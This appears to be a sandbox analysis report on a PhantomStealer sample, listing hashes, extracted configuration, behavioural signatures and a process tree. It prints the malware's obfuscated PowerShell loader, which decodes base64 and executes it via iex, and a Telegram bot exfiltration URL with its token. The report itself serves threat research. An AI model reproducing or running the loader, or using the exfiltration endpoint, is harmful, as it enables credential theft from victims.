phantom_stealer | db4ba887fbffce0421ef201fd572c3ce93e4d6ecdbd1c13e2707d1d02b2c4f65

Analysis

max time kernel
149s
max time network
110s
platform
windows11-21h2_x64
resource
win11-20251015-en
resource tags

arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
submitted
04/11/2025, 15:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
db4ba887fbffce0421ef201fd572c3ce93e4d6ecdbd1c13e2707d1d02b2c4f65.vbs
Size 946KB
Sample251104-sr9etadm4x
SHA256 db4ba887fbffce0421ef201fd572c3ce93e4d6ecdbd1c13e2707d1d02b2c4f65
MD5 b8007a999021f8e74cb1bc632cbd4581
SHA1 5521db88381a9e9e338abaea160a5d05eaca7eac
SHA512 6ddfaa028829667c3084e2a6b55c8cc2301071916d04818753b97f2fb807c85194eb0eb1fd43d9f041feff7e0f37efac962f421ed51877a5d66b3c4cb526c791
SSDEEP 12288:qHxtWienWSpd0OqqNwdbuC8NRx0ZVPCT/almpRUNiElurCq0U09Acagmkf/3mdQT:q2n5xNpPiZVPm/aw3OrU09AAL2Q
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

collection execution phantom_stealer persistence stealer

Malware Config

Extracted

Family

phantom_stealer

Version

v3.5.0

https://api.telegram.org/bot7782497091:AAGSDvfKFMNf5OQKHuTfCmYeMk4cx3skhxQ/sendMessage?chat_id=8196049273

Mutex

OFKO35TTG5YBUXZWYTIC

Attributes

anti_analysis
0
cb_enables_ssl
0
debug
0
keylogger
1
start_delay
0
startup
0

Signatures

Detects PhantomStealer payload 3 IoCs

resource	yara_rule
behavioral2/memory/1436-19-0x000001F86C560000-0x000001F86C61E000-memory.dmp	family_phantomstealer
behavioral2/memory/3916-150-0x0000025830BA0000-0x0000025830C5E000-memory.dmp	family_phantomstealer
behavioral2/memory/5636-207-0x000001264F240000-0x000001264F2FE000-memory.dmp	family_phantomstealer

PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
stealer phantom_stealer
Phantom_stealer family
phantom_stealer

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2820	4348	cmd.exe	78

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
28	1436	powershell.exe
29	1436	powershell.exe
30	1436	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3261906842-2611857369-1513979305-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-3261906842-2611857369-1513979305-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-3261906842-2611857369-1513979305-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1436	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	icanhazip.com

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Checks processor information in registry 2 TTPs 14 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Suspicious behavior: EnumeratesProcesses 38 IoCs

pid	Process
1436	powershell.exe
1436	powershell.exe
1436	powershell.exe
5160	chrome.exe
5160	chrome.exe
5160	chrome.exe
1436	powershell.exe
1436	powershell.exe
1436	powershell.exe
1436	powershell.exe
1436	powershell.exe
1436	powershell.exe
1436	powershell.exe
1436	powershell.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1436	powershell.exe
1436	powershell.exe
6068	chrome.exe
6068	chrome.exe
1436	powershell.exe
1436	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1436	powershell.exe
Token: SeShutdownPrivilege	5160	chrome.exe
Token: SeCreatePagefilePrivilege	5160	chrome.exe

Suspicious use of FindShellTrayWindow 24 IoCs

pid	Process
5160	chrome.exe
5160	chrome.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
1268	firefox.exe
6068	chrome.exe
6068	chrome.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1268	firefox.exe
1436	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2820 wrote to memory of 5232	2820	cmd.exe	81
PID 2820 wrote to memory of 5232	2820	cmd.exe	81
PID 5232 wrote to memory of 3272	5232	cmd.exe	82
PID 5232 wrote to memory of 3272	5232	cmd.exe	82
PID 3272 wrote to memory of 1436	3272	cmd.exe	84
PID 3272 wrote to memory of 1436	3272	cmd.exe	84
PID 1436 wrote to memory of 5160	1436	powershell.exe	85
PID 1436 wrote to memory of 5160	1436	powershell.exe	85
PID 5160 wrote to memory of 4860	5160	chrome.exe	86
PID 5160 wrote to memory of 4860	5160	chrome.exe	86
PID 5160 wrote to memory of 5048	5160	chrome.exe	87
PID 5160 wrote to memory of 5048	5160	chrome.exe	87
PID 5160 wrote to memory of 3312	5160	chrome.exe	88
PID 5160 wrote to memory of 3312	5160	chrome.exe	88
PID 5160 wrote to memory of 2872	5160	chrome.exe	89
PID 5160 wrote to memory of 2872	5160	chrome.exe	89
PID 5160 wrote to memory of 1948	5160	chrome.exe	117
PID 5160 wrote to memory of 1948	5160	chrome.exe	117
PID 5160 wrote to memory of 6132	5160	chrome.exe	91
PID 5160 wrote to memory of 6132	5160	chrome.exe	91
PID 5160 wrote to memory of 6100	5160	chrome.exe	92
PID 5160 wrote to memory of 6100	5160	chrome.exe	92
PID 5160 wrote to memory of 5068	5160	chrome.exe	93
PID 5160 wrote to memory of 5068	5160	chrome.exe	93
PID 5160 wrote to memory of 756	5160	chrome.exe	94
PID 5160 wrote to memory of 756	5160	chrome.exe	94
PID 5160 wrote to memory of 752	5160	chrome.exe	95
PID 5160 wrote to memory of 752	5160	chrome.exe	95
PID 5160 wrote to memory of 3916	5160	chrome.exe	96
PID 5160 wrote to memory of 3916	5160	chrome.exe	96
PID 1436 wrote to memory of 3916	1436	powershell.exe	96
PID 1436 wrote to memory of 3916	1436	powershell.exe	96
PID 5160 wrote to memory of 5464	5160	chrome.exe	97
PID 5160 wrote to memory of 5464	5160	chrome.exe	97
PID 3916 wrote to memory of 1436	3916	chrome.exe	84
PID 1436 wrote to memory of 5636	1436	powershell.exe	99
PID 1436 wrote to memory of 5636	1436	powershell.exe	99
PID 1436 wrote to memory of 5636	1436	powershell.exe	99
PID 1436 wrote to memory of 5636	1436	powershell.exe	99
PID 5636 wrote to memory of 880	5636	msedge.exe	100
PID 5636 wrote to memory of 880	5636	msedge.exe	100
PID 5636 wrote to memory of 1436	5636	msedge.exe	84
PID 1436 wrote to memory of 1188	1436	powershell.exe	101
PID 1436 wrote to memory of 1188	1436	powershell.exe	101
PID 1188 wrote to memory of 1268	1188	firefox.exe	102
PID 1188 wrote to memory of 1268	1188	firefox.exe	102
PID 1188 wrote to memory of 1268	1188	firefox.exe	102
PID 1188 wrote to memory of 1268	1188	firefox.exe	102
PID 1188 wrote to memory of 1268	1188	firefox.exe	102
PID 1188 wrote to memory of 1268	1188	firefox.exe	102
PID 1188 wrote to memory of 1268	1188	firefox.exe	102
PID 1188 wrote to memory of 1268	1188	firefox.exe	102
PID 1188 wrote to memory of 1268	1188	firefox.exe	102
PID 1188 wrote to memory of 1268	1188	firefox.exe	102
PID 1188 wrote to memory of 1268	1188	firefox.exe	102
PID 1436 wrote to memory of 1268	1436	powershell.exe	102
PID 1268 wrote to memory of 5964	1268	firefox.exe	103
PID 1268 wrote to memory of 5964	1268	firefox.exe	103
PID 1268 wrote to memory of 5964	1268	firefox.exe	103
PID 1268 wrote to memory of 5964	1268	firefox.exe	103
PID 1268 wrote to memory of 5964	1268	firefox.exe	103
PID 1268 wrote to memory of 5964	1268	firefox.exe	103
PID 1268 wrote to memory of 5964	1268	firefox.exe	103
PID 1268 wrote to memory of 5964	1268	firefox.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3261906842-2611857369-1513979305-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3261906842-2611857369-1513979305-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\db4ba887fbffce0421ef201fd572c3ce93e4d6ecdbd1c13e2707d1d02b2c4f65.vbs"
1⤵
PID:680

C:\Windows\system32\cmd.exe
cmd.exe /c C:\\Users\\Public\\WaterTerritory.bat
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2820
- C:\Windows\system32\cmd.exe
  cmd /c start "" /min "C:\Users\Public\WaterTerritory.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Public\WaterTerritory.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3272
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('CgAkAGIAYQBuAGEAbgBhAD0AIgAkAGUAbgBwdrixnpgipkn2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwdrixnpgipknwAYQBvAGMALgBiAGEAdAAiADsAaQBmACgAVwdrixnpgipknABlAHMAdAAtAFAAYQB0AGgAIAAkAGIAYQBuwdrixnpgipknAGEAbgBhACkAewAkAHIAYQB3AEwAaQBuAGUwdrixnpgipknAcwA9AGcAYwAgACQAYgBhAG4AYQBuAGEAfAwdrixnpgipknA/AHsAJABfACAALQBsAGkAawBlACAAIgA6AwdrixnpgipknDoAOgAqACIAfQA7ACQAcABhAHIAdAAxAD0AwdrixnpgipknKAAkAHIAYQB3AEwAaQBuAGUAcwB8AD8AewAwdrixnpgipknkAF8AIAAtAGwAaQBrAGUAIAAiADoAOgA6ADwdrixnpgipknEAKgAiAH0AfAAlAHsAJABfAC4AUwB1AGIAcwdrixnpgipknwB0AHIAaQBuAGcAKAA0ACkAfQApADsAJABwwdrixnpgipknAGEAcgB0ADIAPQAoACQAcgBhAHcATABpAG4wdrixnpgipknAZQBzAHwAPwB7ACQAXwAgAC0AbABpAGsAZQwdrixnpgipknAgACIAOgA6ADoAMgAqACIAfQB8ACUAewAkAwdrixnpgipknF8ALgBTAHUAYgBzAHQAcgBpAG4AZwAoADQAwdrixnpgipknKQB9ACkAOwAkAHAAYQByAHQAMwA9ACgAJABwdrixnpgipknyAGEAdwBMAGkAbgBlAHMAfAA/AHsAJABfACwdrixnpgipknAALQBsAGkAawBlACAAIgA6ADoAOgAzACoAIwdrixnpgipkngB9AHwAJQB7ACQAXwAuAFMAdQBiAHMAdABywdrixnpgipknAGkAbgBnACgANAApAH0AKQA7ACQAcABhAHIwdrixnpgipknAdAA0AD0AKAAkAHIAYQB3AEwAaQBuAGUAcwwdrixnpgipknB8AD8AewAkAF8AIAAtAGwAaQBrAGUAIAAiAwdrixnpgipknDoAOgA6ADQAKgAiAH0AfAAlAHsAJABfAC4AwdrixnpgipknUwB1AGIAcwB0AHIAaQBuAGcAKAA0ACkAfQAwdrixnpgipknpADsAJABwAGEAcgB0ADUAPQAoACQAcgBhAHwdrixnpgipkncATABpAG4AZQBzAHwAPwB7ACQAXwAgAC0AbwdrixnpgipknABpAGsAZQAgACIAOgA6ADoANQAqACIAfQB8wdrixnpgipknACUAewAkAF8ALgBTAHUAYgBzAHQAcgBpAG4wdrixnpgipknAZwAoADQAKQB9ACkAOwAkAGsAaQB3AGkAPQwdrixnpgipknAkAHAAYQByAHQAMQArACQAcABhAHIAdAAyAwdrixnpgipknCsAJABwAGEAcgB0ADMAKwAkAHAAYQByAHQAwdrixnpgipknNAArACQAcABhAHIAdAA1ADsAJABhAHAAcABwdrixnpgipknsAGUAPQAoACQAawBpAHcAaQAtAHIAZQBwAGwdrixnpgipknwAYQBjAGUAIgBrAGkAdwBpAHMAdAByAGEAdwdrixnpgipknwBiAGUAcgByAHkAIgAsACIAIgAtAHIAZQBwwdrixnpgipknAGwAYQBjAGUAIgBuAG4AZgBnAHgAcQByAGQwdrixnpgipknAZgBwAHUAZQBzAG0AZgAiACwAIgAiACkAOwwdrixnpgipknBpAGYAKAAkAGEAcABwAGwAZQApAHsAdAByAwdrixnpgipknHkAewBpAGUAeAAoAFsAVABlAHgAdAAuAEUAwdrixnpgipknbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBwdrixnpgipknjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGwdrixnpgipkncAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARwdrixnpgipkngByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpwdrixnpgipknAG4AZwAoACQAYQBwAHAAbABlACkAKQApAH0wdrixnpgipknAYwBhAHQAYwBoAHsAfQB9AH0ACgAkAG8AcgwdrixnpgipknBhAG4AZwBlAD0AJwBIADQAcwBJAEEAQQBBAwdrixnpgipknEEAQQBBAEEARQBBAEoAVgBVADcAMAAvAGIAwdrixnpgipknTQBCAEQAOQBWADYAdwBwAFUANQBPAHQAcwBwdrixnpgipkn4AGcATQAwAEYAcgAxAFEAdwBsAGwASwA3ADwdrixnpgipkngASwBiAGQAbgBZAEMAcAByAGMANQBOAEsAWwdrixnpgipknQBPAG4AWgBpAE8AMgBuAEQAeABQADgAKwBKwdrixnpgipknADIAbABMAEsAVwBoAHMAKwBSAEEAbAA1AC8wdrixnpgipknAZgBlAG4AZAArAGQAYgBVADMAOQBaAE0AWgwdrixnpgipknBRAEMAMQBuAEEAcwA4AGIAVgBvAE4ATQAvAwdrixnpgipknGIANQA5ADEAbQBsAGIAdQBCAFgANQBpAHcAwdrixnpgipknbQAvAGMAeABzADIAVgBBAHEAbAB1AHIAQgBwdrixnpgipknKADUAUQA0AFMASAB4ADAAUwAvAGEAUQBZAHwdrixnpgipknAAOQB6AFEAVgBIAEQARwBxAFEAdAB1AEsAawdrixnpgipknQBTAFQAUgByADQAeABJADUAegBjAHkAagAwwdrixnpgipknAFYAQQBGAFgAKwB0ADAAUwBCAFgARwBpAEkwdrixnpgipknAOABBAEMAKwBWAFYATwBmAFkAbABYAG0AcwwdrixnpgipknB4AFUAUwBTAE8ATQB4AHgARwA5AFIAdABvAwdrixnpgipknCsARgBLAEkAQgBwAHMAcAA3AG4ATwB4AEcAwdrixnpgipknZgBDAGgAMQBmAG8ATABvADEARABrAEEAVwBwdrixnpgipkn3AFUARABsAHcAbgB3AHAAYwBFAE4AKwBuAGwdrixnpgipknYAUABLAEsAeABnAEsAMQBFAEwAawA0AGMAUwdrixnpgipknQBmADcAVAAyAFYATwBJAEYAOQBKAHUASQBKwdrixnpgipknAG4ASQBMAFUAQgBIAGsAawBSAEgAUgBBAEYwdrixnpgipknAZQA1ADgARwBXAGgAcQArAFgAUgBzAGMAcwwdrixnpgipknA4AHYAZAB6AHUAWAB1AGQAZABBAFgANwA3AwdrixnpgipknE8AVAB6ADYAUwAzAEwAZQBYADUANABkAGUAwdrixnpgipknOQA3AHYARgAxADcAOABkADEAUgBtAFkALwAwdrixnpgipknwAHgAKwB6AHkAOABPACsAbgByAFIAcQBHADwdrixnpgipknMAdgB0AGYAdgB1AG4ARgBLAGEANgAvAFcAcwdrixnpgipknwAzAG4ANwB0AHAASgB0AHQAcAB1AEwAUABYwdrixnpgipknAFUAMgBOADUAMgBWAHIASgArAGUAQwBWAFcwdrixnpgipknANQBPAGwAOQBTAHYAMQB5AHQALwBEADUAZQwdrixnpgipknBMAFMAYQBBAGsANgBsAGIAeQBDAFAAbQBIAwdrixnpgipknGkAbwBTAFIAYwBCAFUASgBHAFIANQBRAFQAwdrixnpgipknZABzAEMARQBOADEAMwByAGMAQgAxAHQAMQBwdrixnpgipknkAEgAagBMAHoANABGAFAAdABIAGgAUwB5AFwdrixnpgipkngAZwBRADYAcABpAG8AWgA2ADEAZABpAFAAOwdrixnpgipknABXAEUAagB6AFkAVABWAFcAUwBVADUAQwAvwdrixnpgipknAC8AbABjAEIAUwBLAGMAUgA2ADEAegBtAEgwdrixnpgipknAMwBvAGoAZQAvAEEAMAAyAGgAaABXADcAZQwdrixnpgipknBIAHoAeQBBAFMATQBqAGQAZQBBAFkAbgBzAwdrixnpgipknCsAaABxAHoAeQBwAEoAbQBtAFoAZQArAHoAwdrixnpgipkncQB6AEEATABJAGkAUwA4AEcAVwB3AEsANgBwdrixnpgipknKAFkAZwBsAEsAbQBTAFAAegBsAEoANAAwAFwdrixnpgipkngAQwBhAHYASwA2AG0AaQAwAEEAVgBuADcAWwdrixnpgipknABzAHkAWQBhAGMAUQBpADUAcQB3AGwATQA4wdrixnpgipknAEEANABIAHcAcQA3AHEAdgBQAEoAeQBvAFowdrixnpgipknAZABaAGEATABOAFkATQBsADYATwBUAGcAVQwdrixnpgipknBiAFMAbABKAGIAbwBLAFAANwBzAEoAOAB5AwdrixnpgipknHQAWgBiAFcAbgAxAHUAcgB4AGwAOQBOADcAwdrixnpgipknbABqAGQARABXAFYAZgBRAGcAWQBsAEYAVABwdrixnpgipknjAFYAZwBxAGkATQBjAHYATgBUAGsANABGADwdrixnpgipkngAZQAzAFIATwBOAGMAdwB1AHIAMQA5AFoAbwdrixnpgipkngBpAGkAdABGAEcAbwBoAEgAQwBIAGEANQBswdrixnpgipknAGYAQwBNAHIAMQAyAGkATAB1ADgAawB4AE0wdrixnpgipknAdwBiAFoANAB5AHQAaAB5AHAAcQBvAGkAbQwdrixnpgipknBnADkAVwBLAEoAVABHAFYAMQAzAGMASgB6AwdrixnpgipknFAAegAvAGsANgA1AEwAMgBaAEQAcQBoAGsAwdrixnpgipknVQAxADEAVgA1AFEAVABXAHQAYQBhAEoAcABwdrixnpgipknzAHEAcgBTAFcASAA5AEUAVwBlAEYAeABIADwdrixnpgipknQAagBmAFoAbQB3AEkAYwAyADEAWABXAEEAYwdrixnpgipknwBQAFkAawBhADEAUABlAHIAdwBqAEUAcgBCwdrixnpgipknAEkAKwBEAEYASQBUAE0AdABQAHEAVQBjAG4wdrixnpgipknASwBZAFoAZAB5AEIAZQBpAEcAegByAFAAcAwdrixnpgipknBzAG4ATQAwAFEANQBxAHQAUQBkAFYAQgBwAwdrixnpgipknEMAZwArAFUAUwBIAG0AZwBpAHQAZgBwAE8AwdrixnpgipknZABXAGoAWABHAGcAMQBVAGMANQB3AEMAVQBwdrixnpgipknLAEsAcQB2AFcAVQB6AE8AbQAwAHQAdwBlAGwdrixnpgipknwAWQBWAGMAZAAzAHAALwBLAGwAZQBNAFkAbwdrixnpgipknQAxADcAVAA4AGUAMwBpAHcAZQBLAHgAWQBhwdrixnpgipknADEAUwBCAEMAaAA5AEwAKwBxAEwAYQAyAG8wdrixnpgipknAMAA1ADIAOQBaAGQAUwBsAG4AYwBLAGsAOAwdrixnpgipknBFAHMAbwB2ADcARgB0AG0AagB2ADkAdwBUAwdrixnpgipknHAAZQBKAG8ANgA5AFoAeABEAEQAZQAvAFQAwdrixnpgipknNABMAC8AcABYADQAcwBxAGMAVwBNAG8AQwBwdrixnpgipknvADMASwBqAHUAMABpAEIAUwBLAHkASwA0ACwdrixnpgipkn8AVgBvAHoAcwAyAHQAdAAzAHgAbwBYAG0ASwdrixnpgipknAAxAHgAbgBQAGIAVgBPAEIAZwBBAEEAJwA7wdrixnpgipknACQAbQBhAG4AZwBvAD0AWwBDAG8AbgB2AGUwdrixnpgipknAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQwdrixnpgipknA2ADQAUwB0AHIAaQBuAGcAKAAkAG8AcgBhAwdrixnpgipknG4AZwBlACkAOwAkAHAAaQBuAGUAYQBwAHAAwdrixnpgipknbABlAD0ATgBlAHcALQBPAGIAagBlAGMAdAAwdrixnpgipkngAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGwdrixnpgipknUAYQBtACgALAAkAG0AYQBuAGcAbwApADsAawdrixnpgipknQBlAHgAKABOAGUAdwAtAE8AYgBqAGUAYwB0wdrixnpgipknACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEwdrixnpgipknAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwwdrixnpgipknB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAwdrixnpgipknGkAbwBuAC4ARwBaAGkAcABTAHQAcgBlAGEAwdrixnpgipknbQAoACQAcABpAG4AZQBhAHAAcABsAGUALABwdrixnpgipknbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAGwdrixnpgipkn8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbwdrixnpgipkngBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwwdrixnpgipknAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQwdrixnpgipknAbwBFAG4AZAAoACkACgA='.Replace('wdrixnpgipkn','')))))""
      4⤵
      Badlisted process makes network request
      Accesses Microsoft Outlook profiles
      Command and Scripting Interpreter: PowerShell
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      outlook_office_path
      outlook_win_path
      PID:1436
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx"
        5⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:5160
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff9b198dcf8,0x7ff9b198dd04,0x7ff9b198dd10
        6⤵
        
        PID:4860
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1872,i,1243347626755073293,11160982667256457931,262144 --variations-seed-version --mojo-platform-channel-handle=1868 /prefetch:2
        6⤵
        
        PID:5048
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx" --field-trial-handle=2004,i,1243347626755073293,11160982667256457931,262144 --variations-seed-version --mojo-platform-channel-handle=2008 /prefetch:11
        6⤵
        
        PID:3312
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx" --field-trial-handle=2172,i,1243347626755073293,11160982667256457931,262144 --variations-seed-version --mojo-platform-channel-handle=2160 /prefetch:13
        6⤵
        
        PID:2872
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2776,i,1243347626755073293,11160982667256457931,262144 --variations-seed-version --mojo-platform-channel-handle=2832 /prefetch:1
        6⤵
        
        PID:1948
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2780,i,1243347626755073293,11160982667256457931,262144 --variations-seed-version --mojo-platform-channel-handle=2836 /prefetch:1
        6⤵
        
        PID:6132
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
